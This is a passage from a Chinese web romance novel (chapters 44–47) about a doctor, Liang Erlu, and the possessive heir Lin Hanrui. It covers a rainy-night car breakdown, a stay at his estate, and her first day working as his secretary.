兄弟俩带给她的恋爱脑冲击,梁尔璐需要用可爱女儿消除,期间接着电话,她停读绘本故事。
是同城跑腿的速递员,称已经将快递交给小区的大厅管家,正送上楼。
抱了也要一探究竟的女儿,她拆开收取的发沉包裹,没料到会是均匀切好的几块芋泥虎皮卷蛋糕,香甜绵软得热腾腾,表面烤制的虎纹丝毫挑不出错。
身为烘焙人,不用想也知道林瀚睿此前失败过多少次。
“妈咪,我能吃一半吗?”
“不能吃太饱。”允许跃跃欲试伸前的小手,梁尔璐轻抚会儿女孩的脑袋。
她到阳台拨通电话,嫌这花里胡哨的操作:“虎皮卷,你确实挺虎,我就当没看见婚书。”
男人倒是当没听见,另起话茬。
“炎家的事不会有后顾之忧。”声线沾些干净的薄荷糖凉感,“colorful的发音口型和I love you一样。”
虽过去略久,梁尔璐仍偏快想起他在重逢当日毫无征兆道出的“colorful”,彼时却刻意寻了别的借口来矫饰这番陈情。
“我不是土狗,不爱听。”
秉承四年前让林瀚睿产生强烈意见的秒挂通话习惯,她毫不留情。
随手拿了块热乎的蛋糕,梁尔璐连带咬一口芋泥包裹着的椰子脆块。
她承认,哪怕没开心果酱,也会开心。
但只要想到林瀚睿不愿意澄清,便烦躁,如果再被紧追不舍的媒体知晓她有孩子……
逻辑告诉她该去记者无法找到的地方避风头,理智却告诫她不准去那里。
梁尔璐倏忽恍然大悟。
所以林瀚睿这诡计多端的狗东西是为了逼她去庄园啊!
巧了,她一身犟骨,偏就喜欢挑战激将法。
月黑风高夜正适合潜逃,梁尔璐收拾了还没打开过的行李箱,脚底抹油般离家。
哪知天气善变得莫名落雨,而祸不单行,临近大半夜,车在盘山公路坏到无法启动。
梁尔璐望看窗外昏沉路灯辉映的黑魆魆冷清景况,似是天空中漫无边际的乌云重重压向她,心一横干脆冒雨下车,高举开了电筒的手机,打开车前盖试着查看故障处。
倾潲的雨线肆意斜掠,横竖没打雷,她暂时躲在未被小风波及的树下老实联系保险公司,对方承诺用最快速度抵达救援。
就不该闹脾气来这里……
她摁灭手机打算回车,抬手遮挡余光触及的车灯光,细丝状的雨水密密麻麻交织于一片霎白,清晰可见其中纷乱,入来眼帘的车子缓缓停下。
“第二个电话,你无论如何都不愿意打给我吗?”
簌簌不息的雨噪令梁尔璐迟钝些辨听声源,愣怔着反向朝左偏转视线。
林瀚睿只身撑伞,手提俩沉重的商场购物袋,雨幕糊化了些男人深黑夜色中的冷白腕骨,较平时愈加嶙峋,显然正在使劲。
44.夏日
梁尔璐没能挪开眼,因林瀚睿如此接地气的模样而错愕。
另一旁停下的车内出来个男人,撑伞靠近间询问是否需要帮忙,她已经抵在齿关的话却被林瀚睿截胡。
“她不需要。”步伐生风般,与之相随的嗓音同样未拖泥带水。
倾盖似的如漆黑伞遮覆了些视线内的路灯光线,梁尔璐近距离目睹他冷待对方的神色。
她赶忙抱歉致意不知所措的热心市民:“不好意思啊,谢谢你,我联系过保险公司了。”
等人拨转方向盘绕道,她都不忘礼貌微笑去缓解这尴尬。
至于耳侧,林瀚睿闹的脾气依然聒噪惹烦:“为什么不给我打电话?哪怕只是告诉我这件事。”
“你这是在无理取闹,毕竟我也没打给你哥啊,完全懒得靠男人,尤其是你们两个幼稚鬼。”
梁尔璐冒雨回了车,瞥看早已坐稳副驾驶位的男人沉默不语,怀里抱俩大袋子,脸容低落着生闷气。
活像一个要不到糖的小孩,反正她不擅长哄孩子:“你怎么在这?”
“在前面走时听见你打电话的声音。”
“我是问你怎么在庄园。”没中途打断,算她还能忍情绪。
“派对太吵,搬家。”
整得像每天都开……梁尔璐是半个字不信:“嗯?真的只是这样吗?难道不是故意闹上新闻,害我只能来这?”
擦蹭声窸窣作响,她转头察觉林瀚睿更加环紧在鼓囊塑料袋外的手臂,态度尤其委屈。
“你想多了,我没别的意思,不会事事都算计你。”
额侧的碎发拂落男人眼尾周边,拢生一小片阴影,越发将沾染深夜微光的剩余皮肤衬出冷白病色。
到底瞧不清他是否正在习惯性地装可怜,梁尔璐权当误会。
因此难免尴尬,她合理胡诌:“我是觉得庄园自带停机坪,等之后签证下来了,你直接让私人飞机接我和女儿到港岛,省得被记者发现。”
随即见他直起些陷入软椅的身子,望向车后座安全带内歪斜靠坐的熟睡女孩,怀中圈了个软乎玩偶,便放轻些分贝:“她像我吗?”
“当然是像我老公。”
明知故问的狗东西甚至继续找打,稍拧眉宇:“我是说和你女儿一样,都双手抱东西。”
某人演着男小三,说着亲生女儿像自己,别太爽了呗。
梁尔璐听得耳朵生茧般,另起话题:“下山怎么不开车?”
“我们不是吵架了?任风吹雨打一阵就能冷静。”
再三处理这答复,她确信林瀚睿是拉面师傅,且实力不容小觑,轻而易举又扯回数小时前吵架的事了。
那么她的选择是,爱搭不理。
谁知这男人的嘴皮子勤快:“你刚才也淋了风雨,冷静了吗?”
无妨,她还有第二个选择——为可怜的耳朵佩戴蓝牙,坚强等待保险公司的救援。
“这点时间,我已经走到庄园了。”
下意识挑眉,梁尔璐当即转看林瀚睿,微笑:“请你下车。”
怎么搞得像是她强留他?
狗东西真会往自己脸上贴金。
“我的意思是,很无聊,分我一半耳机。”
顺了话意,她并不收笑地点头:“所以你的意思是,陪我等,很无聊。”
意料之外的,这出反客为主令林瀚睿倏愣,欲言又止地垂眼:“不是。”
“还风吹雨打能冷静呢,我看你是湿寒入体,变傻了。”但凡回忆半秒之前对他作出的问诊结论,梁尔璐都会头疼,“病秧子,你真的少给我惹麻烦,好好注意身体,到底知不知道自己有多难治啊?”
“知道了,梁医生嫌我是烂摊子。”
欣慰感仅仅出现一瞬,她佩服林瀚睿的恋爱脑逻辑,扭头拒绝再看他死犟的侧颊神情:“好好好,那你要这么理解,我也无话可说。”
双方缄默不言的间隙,使得车后座的抽噎声清晰,女儿是在忍哭。
二人几乎同时朝向她,见醒转的孩子鼻尖泛红。
梁尔璐对这状况不明所以:“对不起对不起!是妈咪吵到双双了,还是说你有哪里不舒服呀?”
哭势连同窗外的雨水重了好多:“小子书哥哥以前说……他的爹地妈咪吵完架就离婚了。”
外头没打雷,她倒是仿佛受了一记惊雷,与特别乐意喜当爹的林瀚睿影帝面面相觑,虽说他此刻照样怔,显然也不懂哄孩子。
幸亏不算太麻烦,梁尔璐重新招呼女儿:“双双你看啊,不是爹地,是那天在酒店的靓仔叔叔。”
她伸手试图扳近些男人的脸,但他极其不予配合,直往副驾角落后退。
女儿期待的目光灼灼,她深呼吸,愈发凑近着林瀚睿,以防被孩子看清吵架阵势,皮笑肉不笑且咬牙切齿低声:“你就帮我哄哄呗!”
“好。”
好一个笑意得逞的坏男人。
庆幸他终于舍得使用金贵的脸,梁尔璐松口气。
却不料又欠揍地添堵。
“我没和你妈咪吵架。”
“真的是靓仔叔叔欸。”
“对,双双放心,我真的没和你妈咪吵架。”
“嗯!”
她忍住掐人中的冲动。
在吵架!有在吵架!
但丝毫不能反驳林瀚睿,否则女儿得问十万个为什么了。
“你看看她能吃什么零食?”
狠狠瞪视勾了抹挑衅笑容的男人,梁尔璐低头翻找他放来座位之间扶手箱的购物袋,最终仍是放下攥着的一包苹果脆片:“不吃。”
“因为是我买的。”
“因为她刚才已经吃了很多虎皮卷蛋糕!也刷过牙了。”说实话,她着急撬开林瀚睿的恋爱脑。
“那你能吃什么?牙可以再刷。”
成功在人类脸上观察到雨过天晴的变换过程,梁尔璐嫌弃他熠熠生辉的眸色,重新打量袋子。
能说里面全是她爱吃的零食吗?
明知故问。
“我本来打算明天叫同城跑腿,把这些和冷藏过一晚的巴斯克都送给你。”
她将掀抬的视线刻意避开林瀚睿,径直落去窗外持续运作的雨刮器。
保险公司怎么还不到……
余光接收到他下了车,俯身探回摆放好零食袋才关门的全套动静,梁尔璐透过雨痕不息增生的玻璃望他渐远背影,宽大伞面频跳的水珠飞溅。
这人并未留下的另一袋内,都是烘焙所需食材。
她骤愣。
既然面临目前的情形,还想这个做什么。
“双双,你在这待着。”情急之中又忘了拿备用伞,她也不再后退走远的几步,“我说了让你少接触雨天!”
“你能不能别用医生的身份留我?”
眼看林瀚睿拧眉,快步折返,梁尔璐无措着
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接稳他强行塞给的伞,不再追男人利落的离开:“如果现在路上有一只淋雨的猫,我同样会带回车里,那难道我就是兽医了吗?”
他也没停:“你这是在偷换概念。”
突然陷入无力的僵持境地,梁尔璐唯独沉默,委屈的情绪宛如周遭浓重水汽疯涌。
双方这关系里,千不该万不该的错全是林瀚睿犯了,归根结底,她没必要哄他啊。
触在掌心的伞柄多少是个烫手山芋般累赘,她丧气攥紧。
垂眸盯看湿泞地面之际,梁尔璐听前方踩水的响动变近,抬头见他神色歉疚地跑来伞下。
话语倒是不见这么严肃:“你偷换概念,我无理取闹,般配。”
总之就,还挺会自己找台阶下。
把伞柄抵回他肩角,梁尔璐撇嘴转身,半眼不瞭他牛皮糖似愈挫愈勇的表现。
“什么时候结婚?港媒已经知道我们谈恋爱,往后若是不结婚,很难收场。”
她叫林瀚睿狗东西久了,没承想他竟是哪时候真变成小狗了:“怎么可能难收场?分分合合多正常。”
“嗯,分分合合多正常。”
足够秒懂男人这与她截然相反的话意。
想合?做梦吧。
远远有车开来且减速将停,该是保险公司那边的,一干人等随即分工合作,为首的客套问候了他们一句久等。
算是为i做e吧,林瀚睿替她招呼:“没关系,其实你们的效率特别高。”
“应该的,应该的!”
梁尔璐无话可说,确实快。
但林瀚睿完全是在说反话,百般嫌对方来太早,妨碍他过二人世界。
而她此刻反驳不出半句,等于是默认他这一厢情愿的想法。
烦人的狗东西,就爱占她这些逻辑方面的便宜,短短几分钟内已是第二次了。
角度问题,她敏锐看清后车窗下落,女儿探出些脑袋:“妈咪,我们要去哪儿?不是说等我放假了就去爹地的家吗?”
“我什么时候说了……”梁尔璐喃喃自语,傻眼,“啊!对,明天就送你去爹地家,淋雨会生病的,你先关窗。”
是在儿童乐园那天,面对Leowenstein极为真诚的邀请,她属实招架不住。
能感知到保险公司众人陆续打量她与林瀚睿。
往副驾驶位放下购物袋的林瀚睿正关车门,他回了伞下,嗓音不疾不徐:“别误会,我们是姐弟。”
转而低眸视她,含笑轻语:“连这么重要的事都能忘记?看得出来你老公在你心里毫无地位,有句话好像是……不被爱的才是小三?”
梁尔璐无语透顶,选择装聋。
无奈斗不过林瀚睿挽来胳膊的贴贴黏劲儿,任谁见了都是一个可爱姐控:“姐姐,我不想你去姐夫家。”
如果并未凑近她耳畔,犯病似落句“你只能去我家”,就更可爱了。
猝不及防被林瀚睿趁着夜色与伞沿的遮掩,使坏咬一口她耳朵,其间覆予的热息令梁尔璐下意识捂嘴止住低呼,惊颤些身子。
却顺势由他圈抱入怀内:“姐姐,你别害怕姐夫。”
“家暴啊……孩子这么小,不知道也是好的。”
“早点带你姐姐报警。”
“还是直接离婚吧。”
梁尔璐欲哭无泪,挣扎与否都不行。
她的确要报警了,抓走林瀚睿这狗东西。
45.夏日
“对啊,姐姐,和姐夫离婚吧。”
哪怕是真姐弟,这个年纪拥抱太久也显得怪异。
被林瀚睿适时放开之后,梁尔璐拨前一些别拢在耳后的头发,幽怨压低嗓音:“你是不是又没吃药,犯病了?”
“没犯病,但我之前说过了,就是这德性,到死都改不了对你的占有欲。”
伞落下的阴影令男人面色晦暗不明,裹挟着漫布周围的潮气侵袭而来。
装作看风景似地走远长段距离,她迅速溜进车,恰逢攀近椅背的女儿转头:“妈咪,靓仔叔叔怎么还在外面?我就知道你们肯定在吵架。”
“可是外公上次和我说靓仔叔叔身体不好,雨好大,妈咪……”
梁尔璐哑口无言,当即捧住女孩企图撒娇着得偿所愿的双颊:“梁双双,你胳膊肘往外拐!”
“唔,靓仔叔叔很好看。”
她忽愣。
目前由女儿亲封的假爹们,前提都是这小丫头觉得长相够帅。
急上心头,梁尔璐语气略重:“乖宝,妈咪还认识别的帅哥,靓仔叔叔绝对不能是你的干爹。”
可林瀚睿身旁那男秘书也符合女儿审美,情况紧急时可以顶上。
最受不了孩子问“为什么”三个字,她提前打断女儿,急中生智:“我让靓仔叔叔立刻上车,你就不再问为什么,好吗?”
“好!”
自救成功,她向林瀚睿招手,随男人靠近的雨夜濡湿感深重。
还真是唤了便回的小狗,但落水版。
稍微调整空调温度,梁尔璐递过保温杯:“别生病了,双双挺担心你的,杯子也不用还我了。”
“你是指医院那晚也不用还你的食盒?我怎么记得全被我哥带走了?”
直视林瀚睿眸中倾翻流溢的浓醋,她硬着头皮莽,偏不服气:“本来就是给他的饭。”
“既然……”
唯恐他没病犯病,又对她做出什么坏动静,梁尔璐整颗心悬在嗓子眼。
略久才见林瀚睿唇角衔笑,添句未完的话:“既然你之后给我做过几顿饭,算了。”
趁势剜他几眼刀子,梁尔璐彻底闭嘴,持续沉默到庄园。
女儿睡过一觉而异常精神,饶是怎么劝都不愿回卧室,至于在厨房先后捣鼓了椰香芋泥巴斯克与开心果巴斯克的林瀚睿,显然失眠中。
只剩下洗漱完仍旧困倦的她,无奈陪同满客厅耍的女儿,幸亏孩子被教育得出门不会乱开别人家柜屉或房门,否则绝对能缠着她,让演奏一遍某间屋内的大堆乐器。
差不多收拾完厨房,林瀚睿察觉整面墙似的玻璃门对面站着小女孩,指向一旁高处的感应器,他稍稍抬腿,靠近内墙下方同样的装置,玻璃门徐徐右移。
裤腿遭轻扯,他跟去客厅,见沙发上熟睡的梁尔璐。
“靓仔叔叔,我可以自己回房间的。”
林瀚睿俯身抱过身旁掩嘴轻声的小人儿:“叔叔帮你,门把手也高,双双还够不到。”
瞧她眨巴了眼,愣:“对喔,叔叔家里没有猫猫,但我家有两只,总是会跳起来帮我开门,很厉害的。”
寻思是当年送给梁尔璐的俩黑崽子,林瀚睿弯唇:“双双喜欢就好。”
上楼安顿好孩子,他回客厅,即将抱起梁尔璐之际吵醒了她,随即被砸一个靠枕。
“别碰我!”她还没消气,自己撞上来的就活该受着。
寂然相视间,林瀚睿率先打破沉默:“我刚送双双去卧室,睡下了。”
坐正些缓解初醒的昏沉,梁尔璐蹙眉,抬眼视他:“你为什么要这样对我?除了没犯的那些病,你还是有病。”
“对,你接受的精英教育确实把理性刻进了你骨子里,权衡利弊,长远谋划,你都擅长,但根本没教会你爱人的方式,如果没发生那些事,你是不是打算骗我四年?骗我到死?”
“我说过自己不是石头做的,当初你怎么不试试一开始就和我说真话?是因为你觉得这样做会浪费时间,甚至最终徒劳无益,不如先骗到手再按计划调整处理,看,你多理性啊,那你就该想想,现在纠缠不清更是浪费时间。”
“你一直以来想要的是不是画油画?可你到头来只能继承家族公司,别跟我说你现在掌权了,因为我不是你,就算别人敬我,惧我,也仅仅是因为你,‘林太太’这个身份能让我的姓氏一点点消失,彻底成为你的从属,但你骗过我的事实永远不可能消失,我无法原谅你。”
吵爽了也说渴了,梁尔璐站起上楼,目光撇开林瀚睿任骂的平静脸容:“我也承认放不下你,可医患关系是我唯一能给你的。”
“对不起。”
男人越是真诚的语气,越惹她内心窝火,恨不得踩烂脚底的楼梯:“我不是要你道歉,是要你到此为止!”
“做不到。”
“你只会说三个字?”
“别走。”
忍无可忍,梁尔璐攥拳转身:“太子爷还有何事吩咐!”
但见林瀚睿眉眼淡然,没事人一般,步调寻常地拾级而上:“你这么喜欢和我成为工作关系,那别忘了同样是我的秘书,从明天开始跟我上班,谢柏延也会去。”
连谢柏延这同事都被搬出来了,她完全没办法推脱。
默许她在签证到手之前随意翘班几星期的林老板,终于还是发脾气制裁了。
“上班就上班……等一下!Loewenstein说后半夜接人,这边到我家,时间有点赶了。”但上跑失败,梁尔璐回望受到林瀚睿攥力的手腕,抬眸瞪他不容置喙的神态。
“双双可以,你不能去他身边。”
梁尔璐琢磨清林瀚睿这再三向她确认,以致安定他自我的口吻,无奈:“我都帮你打工了还去什么?指望你给我放年假吗?还有,谁允许你经常叫我女儿的小名了?你就一小三,要有自知之明。”
“那你告诉我大名。”
厚着脸皮顺杆子爬的动作倒是利索,她装瞎无视男人面露的笑意:“梁卓熹,卓越,福熹。”
他却撤了环扣腕部的五指,跨前拦她身前,莫名沾些孩子气地摊开掌心:“我没文化,不知道你说的第二个词语。”
天晓得她居然需要带俩娃。
“我不了解你们港人历史课学什么,但你总应该听过鼎鼎大名的朱熹?”
“我没文化。”
短短四字呛得梁尔璐连忙找词骂人,可惜林瀚睿俨然一副她不配合就休想出门与Loewenstein汇合的架势,便只能老实托住他的手写字。
写的潦草连笔字,急剧缩短皮肤同指尖的触碰时间。
而双方站位使然,林瀚睿甚至顺势牵手,带她上楼。
挣也没用,梁尔璐懒得折腾:“到卧室就放开,否则双双会问妈咪为什么和爹地以外的男人拉手手。”
“现在正吵架,所以我们是姐弟。”
言下之意倒算昭然若揭。
除非她不吵架了,他才放手。
谁比谁犟罢了,她绝不退让:“但你知道的,我也想要另一种放手。”
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男声自然强硬得不遑多让:“你知道的,这不可能。”
“你哥就绝对不会强迫我。”紧盯身前的林瀚睿,梁尔璐就差将他的背影凿穿出个洞了。
“我爱你。”
什么?
她宕机数秒,迟钝理解林瀚睿这已读乱回。
行,根本无法沟通。
梁尔璐选择闭嘴,上楼轻易抓到女儿趴床上熬夜玩平板涂鸦,后台音乐放得起劲,浑然没注意到他们进屋。
正欲制裁,她察觉林瀚睿在女儿抬头的瞬间匆忙放开了手,神情局促中掺杂倔强之色。
“未来嫂子,我是我哥,当然不会强迫你,指这种放手,所以你爱我吧。”
简单处理这莫名其妙的无厘头逻辑,梁尔璐毫不留情出声嘲笑。
因为不懂哄孩子而害怕了就直说。
*
深夜少车,算能省时,她与Loewenstein在早前约好的小区门口碰面,逗弄男人怀中的女儿:“麻烦你了,没必要太惯着她,尤其是挑食方面。”
不和她一起住也好,以免被记者逮到。
其实只需身为亲爸的林瀚睿共同签一份父母不随行同意书,女儿甚至能出国,更安全,但她没心情和林瀚睿操作这公证。
“Aria,你也对Hendrix……”碍于孩子在场,Loewenstein措辞隐晦。
佐以摇头,梁尔璐严肃否认:“没有。”
男人下意识看向侧边黑车副驾驶位的生意伙伴,皱些眉眼,深知这位从小相识的老朋友长了何种心肠。
上新闻的事显然由他一手谋划促成,只不过是那天在儿童乐园见了Aria一面,就喜欢上了?见色起意的混球。
林瀚睿并未错过Loewenstein投来的表情,不屑下压嘴角。
真就是耙耳朵一个,近距离面对老婆的绯闻对象都不敢多吱半声?丢人现眼的废物。
注视送别了父女俩的梁尔璐渐近,他放松些,垂眼摁压失眠后酸涩的眉心。
“你老公怎么想的,后半夜接老婆孩子出门。”
忙着低头系安全带,梁尔璐稍想:“旅游,去看日出啊。”
“挺浪漫,什么时候让我带孩子?”
前后毫无关联的话题突兀,她抬头愣看正巧咬上了后槽牙的林瀚睿:“你是她亲生父亲吗?会照顾人吗?”
“我会对她视如己出,所以你先教我。”
“你……”梁尔璐暗叹他演技绝了,乐此不疲地装失忆。
“出国吗?”
还装,未成年孩子被母亲交给委托人一起出国,纵使离婚,不也需要亲爹同意?
更何况只是自驾游,她干脆陪演,并不收敛嫌弃他的目光:“对。”
虽说这狗东西正埋头摁手机:“给你发了个东西。”
是一份仅显示保存日期的PDF文件,梁尔璐按灭屏幕,启动车子的间隙转头观察周边路况:“不看。”
“我们还没结婚,不着急,你可以提前慢慢了解林家的宗族人口关系。”
装什么装!
她骤然转身,实在忍无可忍,去夺男人举远的手机:“我说你差不多行了,我们不是已经……”
安全带影响发挥,梁尔璐也将剩余的话紧急刹停在齿关,瞪视他胜券在握的笑容。
从她口中亲自说出“已婚”这关系,不正是林瀚睿想要的结果?
险些爽到他,那她就偏不遂人愿:“我们已经没可能了。”
46.夏日
本以为能掐断交流,消停会儿,没承想林瀚睿语出惊人。
“无论你拒绝我多少次,哪怕在我的葬礼上认为终于解脱,也摆脱不了我。”
深更半夜的……梁尔璐双掌合十,敬畏他这神叨:“艳鬼退散,我有貌美老公了。”
偶尔也得说句好话捧捧林瀚睿,才能使其从高处往下摔得够疼。
重新将车熄火,她解安全带的同时着手开门,耳侧当即响来“梁奕珩”三字,简直听得快起茧子。
梁尔璐趁机指向窗外几座楼厦:“幼稚鬼,威胁没用咯,你爱帮不帮,回头让他住我家就行。”
稍稍打量男人无声较劲的侧脸,她扬唇扯笑:“弟弟,你生气了?”
“麻烦你别再骗我了,我知道其实不管你是否吃药,都能像之前那样不顾我意愿强占的,好可怜啊,你忍得真辛苦。”瞥过林瀚睿一再缄默的模样,梁尔璐打算下车。
“既然可怜我,你能不能别走?”
好气与好笑的感觉交织,虽已久远,但她熟悉得要命:“我什么时候说过回家就是回家了?回去拿衣服而已,真的,非业主全家进小区流程复杂,否则我会带你一起。”
有当初整宿不能睡,被迫哄小婴儿的同款绝望了。
“你现在怎么说漂亮话都可以,等走进小区,我就拿你没办法。”
林瀚睿随着嗓音转向她的五官弧度平静,却足见其中的倔强成分,梁尔璐烦躁地抓头发:“你又开始了,四年前也不相信我!”
“嗯。”
腔调轻描淡写,四两拨千斤的劲儿令她双眼失去高光:“请问您怎么样才肯信呢?”
“我给你买衣服。”
梁尔璐莫名瞧出他坚定赴死的神情……
属于是谈崩了,他在这种问题上是真轴得毫不退让。
“狗东西,你得庆幸我也喜欢啃骨头,换个人绝对不愿意伺候你。”深呼吸忍耐,梁尔璐啧声,“明明第一次见到我时却发神经一样无条件相信我!”
“对不起,你别生气了。”男人声线内多少带些抑制不安的颤意。
误会她生气啊?难怪满脸赴死的毅力。
梁尔璐哑然失笑,垂眼注视林瀚睿探近的手,已越过双方距离的分界线。
“知道你现在像什么吗?梁卓熹刚学会走路那段时间,总是没动几步就娇气喊累,对我伸手要抱抱。”
打量了他因此停下数秒而退缩回挪的手,梁尔璐倾身攥住掌根处的腕部,无奈交汇他极其意外的眸光:“每一次,我都会抱她。”
车内昏暗,她也意外林瀚睿泛亮的含笑瞳色,似乎是被外面路灯的淡芒煨出了明度。
因范围还算广的视野,她瞥见男人抬过另一只手,显然是想触碰搭握,却又随缓缓静下的神情迟疑收回。
梁尔璐生怔,清醒之际,立刻松开自己的五指:“但后来我不惯着她了,久而久之,她也不再需要我。”
刚才就不该身体比脑子快地伸手,现在态度截然相反,像在玩弄他。
可她实在跨不过受了林瀚睿欺骗的这道坎。
琢磨间,梁尔璐怀疑听岔了话,好在他重复一遍。
“你回家吧,明天公司见。”
想解释但欲言又止,她作罢。
迟钝回了神,察觉对面关车门的响声几乎同起,梁尔璐猝不及防被大步绕近的林瀚睿拥入怀抱。
“我可以等你。”
萦于耳中的嗓音,一如四面八方侵袭涌进的水流,霎时只闻轰轰的声。
也对,他肯定能想得到,不可能误会。
并未太久,林瀚睿便放开了她。
男人与车之间的缝隙略显狭窄,梁尔璐稍侧身离开:“别等了。”
*
佩服林瀚睿的坚持,她心情复杂,睡前吃了颗药预防情绪性胃痛发作,醒来不疼,却总感觉不舒服。
想着该是心理作用导致,梁尔璐颓着张苦巴脸出门,第一次挤地铁上班,她濒临发疯。
导航到规模盛气凌人的公司楼下,她精准发现翁秘书等在附近,双手递来个工牌。
“谢谢……”原来是高她一级的秘书长,此刻却毕恭毕敬,确认地面没铺热烈欢迎的红毯,梁尔璐压惊,由他带去董事长办公室。
始料不及林瀚睿挺忙的工作状态,全程没落她身上半眼,唯独撂句简短的“过来”。
什么态度!新的一天又想吵架?
“太子爷了不起?让我过去就过去?求我啊。”她撇嘴,听清身后离开的秘书长没忍住一声笑。
见他单手外翻正批阅文件的某页,似乎紧粘在纸张的视线愣后抬起:“公主,对不起,我忘记说后面的话了,过来拿吃的。”
毫无疑问是昨晚烤的蛋糕,但林瀚睿只放下一个,不知哪种口味。
梁尔璐拎过蛋糕盒,从透明处瞧着个完全陌生的色调,想起购物袋内的一盒伯爵红茶:“谢柏延呢?”
而结束签字,继续看新文件的林瀚睿仅是转腕,指间的钢笔朝向斜对面一间内置的办公室。
这回动作还蛮快,直接浏览到底落笔,望向她:“通宵做饿了,另外两个我吃过,重做冰在家里,所以。”
合理怀疑这种失眠程度能出人命,梁尔璐皱些眉:“别看我,现在我脸上和身上全是一股班味,怨气比鬼大。”
签证未办妥之前,她每隔五天必回深城,周一再返港,那些娱乐记者听了都狂喜。
大方注视身前不曾挪开半寸目光的男人,梁尔璐眼神示意他有话就说。
“怎么不穿自己的衣服?公司不管奇装异服,各部门都有潮人,嫌办公室无聊可以去逛。”
谢谢,她是宁愿待办公室睡觉也绝不出门的i人……
虽说也有低调的黑白裙装,但不适合进公司,她的私服穿搭风格又偏爱高饱和色系的廓形衬衫与西装外套。
临时被通知上班,梁尔璐搁家里翻箱倒柜,只找到前不久林瀚睿设计她换上的男士白衬衫与黑西裤,可惜下装太长,仍能盖住蹬了高跟鞋的脚背,隐露黑尖鞋头,胜在班味十足且显高。
她决不允许职场通勤风打乱衣柜,计划从明天开始做回潮人。
其实林瀚睿商务正装以外的服饰也属于日常中沾些潮的风格,她除了四年前度假村遇过一次,再没见。
仔细想来,当初的热恋期,他们都没潮潮地约会炸街几次。
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梁尔璐确信自己疯了,竟然能想到这事:“你不早说?故意的,就是料定我会穿你的这一身衣服。”
“嗯,我无论做什么都是在算计你。”
意外林瀚睿毫不犹豫应声后的字句,她鼓鼓腮帮子:“不是就说不是嘛,对不起。”
“没关系,毕竟你还是这么相信我说的话。”
梁尔璐一时语塞,难以评价男人这关注点,包括他低眸间悲喜不明的神情:“那你应该没别的事骗我了吧?”
“没了,你去秘书室歇着。”
仿佛埋头于工作便能隐身似的,她干脆也不打扰林瀚睿,换道进自己的办公室,平方蛮大,但只有翁秘书守在工位忙碌,不见某位姓谢的生活秘书。
梁尔璐气愤扒门框:“你还说没骗我的事了!谢柏延人呢?”
“不在?那应该是去买菜了,你抓紧时间写菜单发给他和营养师,饭不用你负责,有厨师。”
是有多忙,连个大活人从眼皮子底下经过离开都没印象。
她蹑手蹑脚折返,扣响桌面,林瀚睿才停止翻抽屉的动作,转身等她后话。
俯低些脑袋,梁尔璐凑他耳边小声:“之前说吃三个月的那个,周六我会去给你抓药,开始疗程。”
“你这样是做什么?”
起初没懂男人凝视轻笑的缘故,她怔怔张望站直将走时被他扣住的手腕,下意识抽离:“什……什么?豪门继承大战的斗法之一,监听设备啊,虽然你已经掌权了,但难保对方贼心不死。”
后知后觉林瀚睿接受的继承人教育是赶尽杀绝,梁尔璐瞬间悻悻。
“你坐在这里上班。”
“我不要!”听得出他揶揄口吻。
“我要,看了心情好。”
架不住由他摁进办公椅的绝对力量悬殊,顺滑推去桌子左侧的骤然停顿令梁尔璐愣好一会儿,傻傻听身后男人凑近耳畔的呼吸。
“你不听话,我不帮梁奕珩,让他住你家躲躲藏藏,我一劳永逸处理,选哪个?”
分明清楚没受到监听,却故意学她样儿压低嗓音的混蛋。
看他从秘书室搬出的椅子款式,相同却感觉没她这把老板椅舒服,权当是种成功报复。
琢磨着写了些菜单的手机被拿走,梁尔璐心生纳闷:“为什么不让我上班?”
“因为我是恋爱脑。”
她被林瀚睿这话结实噎住,毫无反驳之力。
“已经通知过他们随便买菜了,但就按之前我们说好的,绝对少不了一碗你爱吃的玉米羹。”
简直噩梦,玉米羹又能在嘴里打她了,梁尔璐近乎是咬牙切齿:“你做白日梦去吧,我死都不会爱吃。”
“怎么样?要不要再试试,我喂你吃东西的技术?”
“你这个色中饿鬼!”
“勺子绝对不会再磕到你的牙齿……了?”
等看清林瀚睿暂停伸向蛋糕盒的双手,以及他怔忡而逐渐泛红的表情,梁尔璐面热的程度不遑多让。
她尖叫捂脸,挡住眼前忸怩局促的男人,可惜再没手捂耳朵。
而他的声线竟意外冷静。
“我们还没和好。”
47.夏日
黏人的话语令梁尔璐瞬间后仰,鞋尖一踮地,灵活的椅子便滑向背对的墙,她趁中途停下,撒腿就跑。
走了。
跟恋爱脑玩不来。
“梁秘书,你确定要出去?”
男人使着气定神闲的腔调,她咬牙切齿:“用你哥威胁我也没用了!”
“穿的明显是男人衣服,认识你以来,第一次见你这么社牛。”
脚步倏地发沉,梁尔璐站住。
虽说女人也能买男装,但谣言才不管你怎么样。
算是见识过人言可畏,她神情不服气地老实坐回办公桌旁,眼神示意林瀚睿拆蛋糕:“林董,你有空可以去我外婆家。”
“见家长?好。”
恋爱脑真的没救了。
梁尔璐闭合因吃惊而微张的双唇,收敛讶异:“我是让你去那里打听打听我,爸妈工作忙,小学之前都把我放养外婆家,后来我总是放假就去玩,所以我身后不缺男人跟的,习惯了也受够了你们这种黏人东西。”
“就我所知,有些追不到你就造黄谣,警告过了,如果想日子安生。”
“你怎么……”收紧握在甜品勺柄下半部的指腹,她怔看伸手递近的林瀚睿,眉眼轻描淡写地控制他人一般。
“和我产生联系的女人都会被家里调查,除非真有什么查不到的隐秘过往。”
虽然这在意料之内,梁尔璐仍旧起了身寒意:“好恐怖,你不会觉得我以为这很宠很甜吧?”
“我恨林家。”男人的嗓音与面容足够静,宛如行经多年的路,被轧平得毫无起伏。
她注视林瀚睿压下三角刮刀切分出的小块巴斯克,挖舀一勺,向他抬手:“没错,我偏要倒反天罡,让太子爷先帮我试毒。”
想也知道他明白她借助甜品哄开心的真正意图,梁尔璐多少是尴尬的,垂眸避开林瀚睿凝深的灼灼瞳色,放下残留些微蛋糕痕迹的圆勺,接听师叔及时拨来的救命电话。
男人寒暄满大堆,末了恍然大悟似的临时询问她:“工作怎么样?”
她当即嫌弃瞅看忙碌办公的林瀚睿:“烦,皇帝不急太监急。”
“我会找他谈谈。”
既然人主治医生都出马教育了,梁尔璐稍放宽心,顺便开微信问候难伺候的病人。
【狗东西】
【就聊到这.JPG】
备注栏显示几次对方“正在输入”的状态,却全没了下文,她抬眼打量身前正单手划动手机屏幕的林瀚睿,余光察觉新消息蹿出的影儿。
【我到底是杀了人还是放了火?你就这么不喜欢我.JPG】
梁尔璐立即倒扣手机,已经能感受到他委委屈屈说这话的茶里茶气了。
